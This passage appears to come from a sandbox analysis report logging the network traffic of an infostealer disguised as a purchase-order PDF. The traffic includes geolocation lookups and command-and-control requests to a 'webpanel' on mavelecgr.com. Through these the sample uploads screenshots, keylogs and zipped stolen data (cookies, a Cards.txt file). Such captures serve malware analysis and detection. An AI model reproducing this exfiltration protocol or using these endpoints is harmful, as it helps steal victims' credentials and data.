Feb 22, 2023 09:44:15.500984907 CET	4597	IN	HTTP/1.1 200 OK Date: Wed, 22 Feb 2023 08:44:14 GMT Content-Type: application/json; charset=utf-8 Content-Length: 286 Access-Control-Allow-Origin: * X-Ttl: 39 X-Rl: 40 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 53 77 69 74 7a 65 72 6c 61 6e 64 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 43 48 22 2c 22 72 65 67 69 6f 6e 22 3a 22 5a 48 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 5a 75 72 69 63 68 22 2c 22 63 69 74 79 22 3a 22 5a 75 72 69 63 68 22 2c 22 7a 69 70 22 3a 22 38 30 34 32 22 2c 22 6c 61 74 22 3a 34 37 2e 33 36 38 32 2c 22 6c 6f 6e 22 3a 38 2e 35 36 37 31 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 45 75 72 6f 70 65 2f 5a 75 72 69 63 68 22 2c 22 69 73 70 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 6f 72 67 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 61 73 22 3a 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 71 75 65 72 79 22 3a 22 38 34 2e 31 37 2e 35 32 2e 38 22 7d Data Ascii: {"status":"success","country":"Switzerland","countryCode":"CH","region":"ZH","regionName":"Zurich","city":"Zurich","zip":"8042","lat":47.3682,"lon":8.5671,"timezone":"Europe/Zurich","isp":"Datacamp Limited","org":"Datacamp Limited","as":"AS212238 Datacamp Limited","query":"84.17.52.8"}
Feb 22, 2023 09:44:15.638192892 CET	4597	OUT	GET /json/ HTTP/1.1 Host: ip-api.com
Feb 22, 2023 09:44:15.676253080 CET	4597	IN	HTTP/1.1 200 OK Date: Wed, 22 Feb 2023 08:44:14 GMT Content-Type: application/json; charset=utf-8 Content-Length: 286 Access-Control-Allow-Origin: * X-Ttl: 39 X-Rl: 39 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 53 77 69 74 7a 65 72 6c 61 6e 64 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 43 48 22 2c 22 72 65 67 69 6f 6e 22 3a 22 5a 48 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 5a 75 72 69 63 68 22 2c 22 63 69 74 79 22 3a 22 5a 75 72 69 63 68 22 2c 22 7a 69 70 22 3a 22 38 30 34 32 22 2c 22 6c 61 74 22 3a 34 37 2e 33 36 38 32 2c 22 6c 6f 6e 22 3a 38 2e 35 36 37 31 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 45 75 72 6f 70 65 2f 5a 75 72 69 63 68 22 2c 22 69 73 70 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 6f 72 67 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 61 73 22 3a 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 71 75 65 72 79 22 3a 22 38 34 2e 31 37 2e 35 32 2e 38 22 7d Data Ascii: {"status":"success","country":"Switzerland","countryCode":"CH","region":"ZH","regionName":"Zurich","city":"Zurich","zip":"8042","lat":47.3682,"lon":8.5671,"timezone":"Europe/Zurich","isp":"Datacamp Limited","org":"Datacamp Limited","as":"AS212238 Datacamp Limited","query":"84.17.52.8"}
Feb 22, 2023 09:44:15.723517895 CET	4598	OUT	GET /json/ HTTP/1.1 Host: ip-api.com
Feb 22, 2023 09:44:15.761534929 CET	4598	IN	HTTP/1.1 200 OK Date: Wed, 22 Feb 2023 08:44:15 GMT Content-Type: application/json; charset=utf-8 Content-Length: 286 Access-Control-Allow-Origin: * X-Ttl: 39 X-Rl: 38 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 53 77 69 74 7a 65 72 6c 61 6e 64 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 43 48 22 2c 22 72 65 67 69 6f 6e 22 3a 22 5a 48 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 5a 75 72 69 63 68 22 2c 22 63 69 74 79 22 3a 22 5a 75 72 69 63 68 22 2c 22 7a 69 70 22 3a 22 38 30 34 32 22 2c 22 6c 61 74 22 3a 34 37 2e 33 36 38 32 2c 22 6c 6f 6e 22 3a 38 2e 35 36 37 31 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 45 75 72 6f 70 65 2f 5a 75 72 69 63 68 22 2c 22 69 73 70 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 6f 72 67 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 61 73 22 3a 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 71 75 65 72 79 22 3a 22 38 34 2e 31 37 2e 35 32 2e 38 22 7d Data Ascii: {"status":"success","country":"Switzerland","countryCode":"CH","region":"ZH","regionName":"Zurich","city":"Zurich","zip":"8042","lat":47.3682,"lon":8.5671,"timezone":"Europe/Zurich","isp":"Datacamp Limited","org":"Datacamp Limited","as":"AS212238 Datacamp Limited","query":"84.17.52.8"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.3	49726	89.45.67.2	80	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2023 09:44:16.077934027 CET	4599	OUT	GET /webpanel//task.php?hwid=CHC8BC548DD2 HTTP/1.1 Host: mavelecgr.com Connection: Keep-Alive
Feb 22, 2023 09:44:16.123528004 CET	4599	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Wed, 22 Feb 2023 08:44:16 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 22, 2023 09:44:16.312310934 CET	4599	OUT	POST /webpanel//screen.php?hwid=CHC8BC548DD2 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db14c541a42d85 Host: mavelecgr.com Content-Length: 824618 Expect: 100-continue
Feb 22, 2023 09:44:16.355294943 CET	4600	IN	HTTP/1.1 100 Continue
Feb 22, 2023 09:44:16.355501890 CET	4600	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 62 31 34 63 35 34 31 61 34 32 64 38 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 Data Ascii: -----------------------8db14c541a42d85Content-Disposition: form-data; name="file"; filename="2023-02-22-11-09-24-screenshot.png"Content-Type: application/octet-stream
Feb 22, 2023 09:44:16.355603933 CET	4608	OUT	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 00 00 00 04 00 08 06 00 00 00 be 93 f4 43 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 Data Ascii: PNGIHDRCsRGBgAMAapHYsodIDATx^$Gu} s&&X"J$6\|`kJdA('$D0i%! jU^UvSszz<gf*:3SSkLu^c}cz?Y%Syc6xCX
Feb 22, 2023 09:44:16.355655909 CET	4612	OUT	Data Raw: d9 75 03 70 d4 6d 25 17 69 49 79 41 a7 4d 28 8d ac 53 c9 7f 18 02 e0 03 f4 1d 80 17 98 e5 f7 9e 67 9e be eb 34 1b 0e dd 06 b4 e1 e8 bb 02 ef b7 7e f7 9f 67 1e bb ed 6c f3 c0 d5 fb 9b c5 d7 ee 69 9e 74 8f 01 ef 67 9e be 95 7e a5 fb 40 3b 2f fb 13 Data Ascii: upm%iIyAM(Sg4~glitg~@;/{6i!IY#_>+&8m}@mO5tm2a"MmDL[ymcD<!W*$}oT_h,X#Gl\|BDQ
Feb 22, 2023 09:44:16.398711920 CET	4616	OUT	Data Raw: 6b 0e 11 c2 72 3a 82 28 df 1a 50 fc 26 a0 b4 18 18 0e ad 1d 5d 20 f2 ad 04 c5 ed 00 b9 7e b4 01 a5 99 05 aa 6b 0e e8 90 b1 4a 51 9e 3b 75 c8 79 58 47 b6 00 48 34 b0 cf a0 ad 22 e1 af 30 11 6e d2 c6 49 21 c3 eb 38 da 4f 23 c3 86 38 c0 26 8b 84 a0 Data Ascii: kr:(P&] ~kJQ;uyXGH4"0nI!8O#8&L%E?rE@N5@P9JB{MqCf"&(?Ur09@q00FJsCu8=vO@aSp?6DoD[9/OI#<W:k
Feb 22, 2023 09:44:16.398782015 CET	4626	OUT	Data Raw: f8 47 20 91 af 8a c8 1e 70 36 01 3e e8 47 c8 f0 d2 be 68 41 10 e8 a4 cd 62 61 f7 7e d1 f6 51 23 06 29 00 22 51 0a 80 84 3b 42 8a 77 4e c0 03 61 ea 88 e2 2b 41 4d 03 eb 22 01 65 8f 48 d4 3b 3c c2 0c f2 cc 41 a7 5b 0b 97 c7 e3 d2 e0 ba 50 ff 91 a8 Data Ascii: G p6>GhAba~Q#)"Q;BwNa+AM"eH;<A[PWA`lP\|3\+5t29\|Pz3;`mA02f5J@GDz_L}~~$}L}wwU0v_bF6-N_w
Feb 22, 2023 09:44:16.398825884 CET	4628	OUT	Data Raw: d3 a0 b6 9f 30 44 e4 62 25 17 da b0 80 82 45 1b 21 0d c9 2a 63 b2 69 b8 7e c9 ce 87 85 3b 06 85 69 02 c7 d7 1b 4a d5 a6 d2 34 5c 3f 80 3a 35 6d 7f d4 8e fc 99 0e d8 ee 90 2d fc 74 1c 04 3f 02 58 18 1e f8 07 5b 08 fa 15 67 f9 4b ce d1 17 30 93 00 Data Ascii: 0Db%E!*ci~;iJ4\?:5m-t?X[gK0z,6`!DWJ@lm@@m\($#/)/tqh#r=et0XW2#`&Lr6:\@t$?kd7M}2LM]~F?
Feb 22, 2023 09:44:16.398889065 CET	4634	OUT	Data Raw: ba 3c fd 80 d2 d7 a0 78 55 c0 76 1d 26 6a be 22 a2 03 37 cf 67 e5 d6 16 58 a6 1c 54 59 73 cb 16 89 1c 44 10 39 84 f0 82 98 08 80 e3 01 12 f6 9a e2 e2 53 3d b1 f8 17 a1 da 7f 66 eb 77 3b b8 5d d3 42 e0 db 0b c2 b8 29 8b 78 95 c8 31 07 d2 40 63 5a Data Ascii: <xUv&j"7gXTYsD9S=fw;]B)x1@cZR+zy[;JS ?z@~>j& ?c@5TDu0D1A7m3o~yBXM@{H]tvncq$=6yAFy9.g
Feb 22, 2023 09:44:16.438323975 CET	4636	OUT	Data Raw: ea ed 8d 0b 64 b0 34 c2 f6 13 fd 30 09 8b 90 21 7f 82 db 81 85 ca e7 ae 5f f0 82 8d 1d 61 ec d3 3c a9 83 c2 f1 5c 22 a8 cd 58 68 e6 f9 46 88 30 ee 6b 00 28 2e fb 71 78 42 ce 6f ea e3 d4 f8 47 63 a6 25 d2 40 46 a0 38 5d 52 12 f4 c0 1a 22 29 85 07 Data Ascii: d40!_a<\"XhF0k(.qxBoGc%@F8]R")i. JdCeA8>ZgjnC8D?Sqyd#EZ("@DY*2`\|HhT1E" Aczs(5/F$%?!A FAOBbD8vFb,N
Feb 22, 2023 09:44:16.441860914 CET	4639	OUT	Data Raw: f0 9a 44 58 b4 f8 11 d0 28 cf 41 e6 57 81 14 fd 24 28 6c 84 a8 03 02 d5 a9 5f 50 3e a3 a3 4e a0 01 6d 26 e1 74 58 50 d1 44 79 25 a0 74 b4 00 c8 ef 39 1d 1a 0b 32 5d 76 1b 47 64 19 75 7b ea ba 7b 7a e3 a3 10 fe 72 05 c0 a4 41 23 ca 15 09 23 1d 21 Data Ascii: DX(AW$(l_P>Nm&tXPDy%t92]vGdu{{zrA##!OolzifdaWu@4/I(M*cUh/)!0p0p"xBf-hHtxlBHp t'@B8!)?1HOI
Feb 22, 2023 09:44:16.441922903 CET	4647	OUT	Data Raw: 50 e4 08 24 ae 09 a2 89 df 2f 60 81 80 e1 04 a8 4c 0e 5f 7e aa a4 ac 0f 57 5c ba 55 81 f2 44 a0 c5 99 80 8b 66 15 b9 c2 10 6a b3 3a fa 4d a7 49 3c 19 a6 2b 50 3e 75 a8 34 fa ee 1f 8f dc 18 93 9b 23 42 8a 7f 39 fd ec 69 5a fe ca 72 89 fc 91 11 93 Data Ascii: P$/`L_~W\UDfj:MI<+P>u4#B9iZrCYE0Bl{q*$U}F)MT9y!Lt-{}hC[?J6`(N.(=ELst<\|:1d"'`DuaaO~Z
Feb 22, 2023 09:44:17.012960911 CET	5437	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Wed, 22 Feb 2023 08:44:16 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 22, 2023 09:44:17.057307005 CET	5437	OUT	POST /webpanel//keylogs.php?hwid=CHC8BC548DD2 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db14c542169c65 Host: mavelecgr.com Content-Length: 266 Expect: 100-continue
Feb 22, 2023 09:44:17.100486040 CET	5437	IN	HTTP/1.1 100 Continue
Feb 22, 2023 09:44:17.232527018 CET	5438	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Wed, 22 Feb 2023 08:44:17 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 22, 2023 09:44:17.234644890 CET	5438	OUT	POST /webpanel//logs.php?hwid=CHC8BC548DD2&Passwords=0&CreditCards=0&Cookies=14&AutoFill=0&Wallets=0 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db14c5422e7645 Host: mavelecgr.com Content-Length: 861889 Expect: 100-continue
Feb 22, 2023 09:44:17.277724981 CET	5438	IN	HTTP/1.1 100 Continue
Feb 22, 2023 09:44:17.894009113 CET	6344	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Wed, 22 Feb 2023 08:44:17 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.3	49727	89.45.67.2	80	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2023 09:44:16.442341089 CET	4680	OUT	GET /webpanel//config.json HTTP/1.1 Host: mavelecgr.com Connection: Keep-Alive
Feb 22, 2023 09:44:16.486087084 CET	4745	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: application/json last-modified: Fri, 17 Feb 2023 05:25:27 GMT accept-ranges: bytes content-length: 44 date: Wed, 22 Feb 2023 08:44:16 GMT server: LiteSpeed Data Raw: 7b 22 74 69 6d 65 5f 6b 65 79 6c 6f 67 73 22 3a 20 31 2c 20 22 74 69 6d 65 5f 73 63 72 65 65 6e 73 68 6f 74 22 3a 20 33 30 20 20 7d Data Ascii: {"time_keylogs": 1, "time_screenshot": 30 }

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49701	208.95.112.1	80	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2023 09:42:42.535857916 CET	1080	OUT	GET /json/ HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Feb 22, 2023 09:42:42.572907925 CET	1081	IN	HTTP/1.1 200 OK Date: Wed, 22 Feb 2023 08:42:41 GMT Content-Type: application/json; charset=utf-8 Content-Length: 286 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 53 77 69 74 7a 65 72 6c 61 6e 64 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 43 48 22 2c 22 72 65 67 69 6f 6e 22 3a 22 5a 48 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 5a 75 72 69 63 68 22 2c 22 63 69 74 79 22 3a 22 5a 75 72 69 63 68 22 2c 22 7a 69 70 22 3a 22 38 30 34 32 22 2c 22 6c 61 74 22 3a 34 37 2e 33 36 38 32 2c 22 6c 6f 6e 22 3a 38 2e 35 36 37 31 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 45 75 72 6f 70 65 2f 5a 75 72 69 63 68 22 2c 22 69 73 70 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 6f 72 67 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 61 73 22 3a 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 71 75 65 72 79 22 3a 22 38 34 2e 31 37 2e 35 32 2e 38 22 7d Data Ascii: {"status":"success","country":"Switzerland","countryCode":"CH","region":"ZH","regionName":"Zurich","city":"Zurich","zip":"8042","lat":47.3682,"lon":8.5671,"timezone":"Europe/Zurich","isp":"Datacamp Limited","org":"Datacamp Limited","as":"AS212238 Datacamp Limited","query":"84.17.52.8"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.3	49728	89.45.67.2	80	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2023 09:44:17.787221909 CET	6215	OUT	POST /webpanel//logs.php?hwid=CHC8BC548DD2&Passwords=0&CreditCards=0&Cookies=0&AutoFill=0&Wallets=0 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db14ba80f788cd Host: mavelecgr.com Content-Length: 861889 Expect: 100-continue
Feb 22, 2023 09:44:17.830956936 CET	6279	IN	HTTP/1.1 100 Continue
Feb 22, 2023 09:44:17.831296921 CET	6279	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 62 31 34 62 61 38 30 66 37 38 38 63 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 Data Ascii: -----------------------8db14ba80f788cdContent-Disposition: form-data; name="file"; filename="CH_C8BC548DD2.zip"Content-Type: application/octet-stream
Feb 22, 2023 09:44:17.831433058 CET	6287	OUT	Data Raw: 50 4b 03 04 14 00 00 00 00 00 57 4d 56 56 00 00 00 00 00 00 00 00 00 00 00 00 09 00 00 00 43 61 72 64 73 2e 74 78 74 50 4b 03 04 14 00 00 00 08 00 5a 4d 56 56 6b fa d3 5b d1 00 00 00 4c 01 00 00 08 00 00 00 69 6e 66 6f 2e 74 78 74 ad 8e b1 4e c3 Data Ascii: PKWMVVCards.txtPKZMVVk[Linfo.txtN0EwK;&PU:0D-`5EbGQz0U#,pJI`"wwck7xLvR,m0t&[Khn%)t"j]1%e0)K:#L6"
Feb 22, 2023 09:44:17.831463099 CET	6291	OUT	Data Raw: c3 e4 68 e6 67 6f 51 61 7d 9f 89 df b6 c6 6a 8b f3 25 c6 d7 fa 3a a7 07 be 5d e9 9c 3c b3 72 81 ed 69 f2 3f 00 ca 7e ad 91 89 d4 dd 2d d9 e5 bd 98 b4 1a f3 fb 12 6f 01 77 99 27 5a 9d 8e f4 37 f7 bf 9c 6b 12 b1 f1 f3 2b f4 fa 3d e7 77 9b f6 1a f8 Data Ascii: hgoQa}j%:]<ri?~-ow'Z7k+=w[\|\|II5jxY(rj.2i8HP9Ez_jN (-\|@\C;{Bhbf&GO)BO("\SYPjNf}z~c}0]!EK+
Feb 22, 2023 09:44:17.875550032 CET	6343	OUT	Data Raw: 6b be 31 6a 71 0c f5 71 d0 0a 23 85 7b f8 d4 74 a2 56 4e 00 85 32 b4 e7 0d 7a 81 34 47 44 36 98 21 51 5a 39 88 52 83 ba 79 c2 26 73 fb fe f7 15 10 cf cb 92 b8 76 b9 6d e7 d2 b3 7e 7e 5b 9a c7 24 46 47 77 ef d0 56 c4 84 bc f8 e0 46 e4 8f de b2 8b Data Ascii: k1jqq#{tVN2z4GD6!QZ9Ry&svm~~[$FGwVFSl`=Q\|%8+m4@8t79\jBMJV?{Rmo{6q5@0'sloO-G~v0\bpfGMOERk]
Feb 22, 2023 09:44:17.918802977 CET	6357	OUT	Data Raw: 52 97 59 8b 2c 75 70 e3 e5 f2 75 a9 01 7c 6a a0 bc 39 a8 a6 98 2b 85 3b 25 4b 8c c0 69 a0 14 d2 69 e3 c7 22 c0 06 3c e6 dc b2 d5 a5 3e 79 64 f7 e6 6a 40 ad be 5f b0 23 10 29 1b 9e 18 82 8a 24 5b a5 be fd de 38 bb 52 d3 b5 ad 0c dd 32 4e 75 39 7a Data Ascii: RY,upu\|j9+;%Kii"<>ydj@_#)$[8R2Nu9z3aJJd)a\Dl4HGP@'/$vsG)'Cw6u]\|H+iGcEH'~,&0:}xv0r:AiJZf7X0RS"` Usr]
Feb 22, 2023 09:44:17.918864012 CET	6370	OUT	Data Raw: 1d af 9d 16 88 aa bb cf 77 f3 bd 77 d4 3e 9e 18 0c cc 2e 77 9b f9 24 7d cf 5d f6 f8 e4 55 81 f8 c0 e6 be fb f3 c5 c7 28 ff 8d b3 88 2f 77 9e 04 8d 7a 55 18 fb 6f 2e 6f a4 32 74 6c e1 74 56 c1 00 01 8b f6 f9 43 91 63 9f e4 f2 17 21 0f 2d 65 65 6d Data Ascii: ww>.w$}]U(/wzUo.o2tltVCc!-eem-gvyNZ1-giZn*EbV#`2=s:cE>.v g!@d8y`aFL]mwD{"$x=}{n\\|8
Feb 22, 2023 09:44:17.918910027 CET	6375	OUT	Data Raw: 7d 3b 32 6d 67 40 b5 ff e3 e9 bb d9 f2 54 ff 78 bf bc 4f 87 2d 17 ed 54 5f 1d ff c1 07 97 3c fd bb 15 ad c2 60 1a 70 f7 b3 62 75 13 7e 76 18 c7 31 c2 f1 63 ff f6 fd b9 72 ea 37 a0 73 36 d0 f3 1f 66 f1 de c6 17 8d 5b 21 f2 40 a0 a3 0d 39 62 51 12 Data Ascii: };2mg@TxO-T_<`pbu~v1cr7s6f[!@9bQ!SA@s[g@g"AudT1'.&5f=y'o1<L~p9TN^#E#ipXl/PX)NN!@l5_dxP?Zy8ezK
Feb 22, 2023 09:44:17.918910027 CET	6389	OUT	Data Raw: 6d 39 81 a6 6d 57 d7 95 0f e1 6a aa 87 5f 19 5c 4f ba a3 bb 44 73 c0 3a f6 13 b1 d4 c5 68 4d c9 56 30 14 26 e5 cf c9 b2 12 88 df 5c bb e8 44 d7 cd 45 37 39 de 95 7c 9a ea 40 fd 64 43 f2 88 68 ea 4d b0 69 6e 5b 8c 98 54 1d 53 03 69 98 7b 1d af 32 Data Ascii: m9mWj_\ODs:hMV0&\DE79\|@dChMin[TSi{2ASr4P-K`mV$GoNkl/@r6=oHRJ!$^#l6aqW'wE\|78 } E*^$%
Feb 22, 2023 09:44:17.919037104 CET	6390	OUT	Data Raw: 56 e8 ce 0f 59 37 8b 4c 06 65 e4 7a f8 6e 66 ad 0f 82 bf 36 7e bc 8d 9d 4f 91 1a cb 53 91 cb 9b 46 da b1 d8 8e 50 12 db 80 af ef 52 90 f7 60 6f 7a bc 8d 4f d3 de 94 b7 f0 78 ff 0f 7f af 9a 2e 12 23 60 4e c6 1a 66 73 78 16 d5 90 29 28 16 30 7d d7 Data Ascii: VY7Leznf6~OSFPR`ozOx.#`Nfsx)(0}Fdr:[L*!8>G}Ty3 m~~:~}$'wh'q{B7(C[X\|o3>W'tk!}QgPrcb'I()dx
Feb 22, 2023 09:44:17.958303928 CET	6393	OUT	Data Raw: 52 2c 06 6f 2d 73 ea 5e d4 75 6d 19 6f cf 37 3f 4c 53 43 a2 9a 4c 37 b9 56 21 92 75 31 1e bc 31 68 10 57 34 6f 8b 4d 26 91 d6 59 e7 51 2a 76 63 77 bc 56 25 f1 13 0e 8b f6 d7 a3 fe dc 2b 4a 5a e1 38 23 a4 10 48 b9 87 be e5 25 9b db 33 48 44 20 d2 Data Ascii: R,o-s^umo7?LSCL7V!u11hW4oM&YQvcwV%+JZ8#H%3HD Xx`#CV6f]FHy`_[>K"p_6-qAW!)j;a,U~rb=;rxp{9"-G["_&EW?Acm%:O;4H-z.TA~%1{\
Feb 22, 2023 09:44:18.537681103 CET	7178	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Wed, 22 Feb 2023 08:44:18 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.3	49729	89.45.67.2	80	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2023 09:44:19.763372898 CET	7179	OUT	GET /webpanel//gate.php?hwid=CHC8BC548DD2 HTTP/1.1 Host: mavelecgr.com Connection: Keep-Alive
Feb 22, 2023 09:44:19.809361935 CET	7179	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Wed, 22 Feb 2023 08:44:19 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 22, 2023 09:44:20.254250050 CET	7179	OUT	GET /webpanel//task.php?hwid=CHC8BC548DD2 HTTP/1.1 Host: mavelecgr.com
Feb 22, 2023 09:44:20.301876068 CET	7179	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Wed, 22 Feb 2023 08:44:20 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.3	49730	89.45.67.2	80	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2023 09:44:20.426652908 CET	7180	OUT	POST /webpanel//logs.php?hwid=CHC8BC548DD2&Passwords=0&CreditCards=0&Cookies=0&AutoFill=0&Wallets=0 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db14bb1821a0ad Host: mavelecgr.com Content-Length: 861889 Expect: 100-continue Connection: Keep-Alive
Feb 22, 2023 09:44:20.469938040 CET	7180	IN	HTTP/1.1 100 Continue
Feb 22, 2023 09:44:20.994455099 CET	7181	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 62 31 34 62 62 31 38 32 31 61 30 61 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 Data Ascii: -----------------------8db14bb1821a0adContent-Disposition: form-data; name="file"; filename="CH_C8BC548DD2.zip"Content-Type: application/octet-stream
Feb 22, 2023 09:44:20.994553089 CET	7189	OUT	Data Raw: 50 4b 03 04 14 00 00 00 00 00 57 4d 56 56 00 00 00 00 00 00 00 00 00 00 00 00 09 00 00 00 43 61 72 64 73 2e 74 78 74 50 4b 03 04 14 00 00 00 08 00 5a 4d 56 56 6b fa d3 5b d1 00 00 00 4c 01 00 00 08 00 00 00 69 6e 66 6f 2e 74 78 74 ad 8e b1 4e c3 Data Ascii: PKWMVVCards.txtPKZMVVk[Linfo.txtN0EwK;&PU:0D-`5EbGQz0U#,pJI`"wwck7xLvR,m0t&[Khn%)t"j]1%e0)K:#L6"
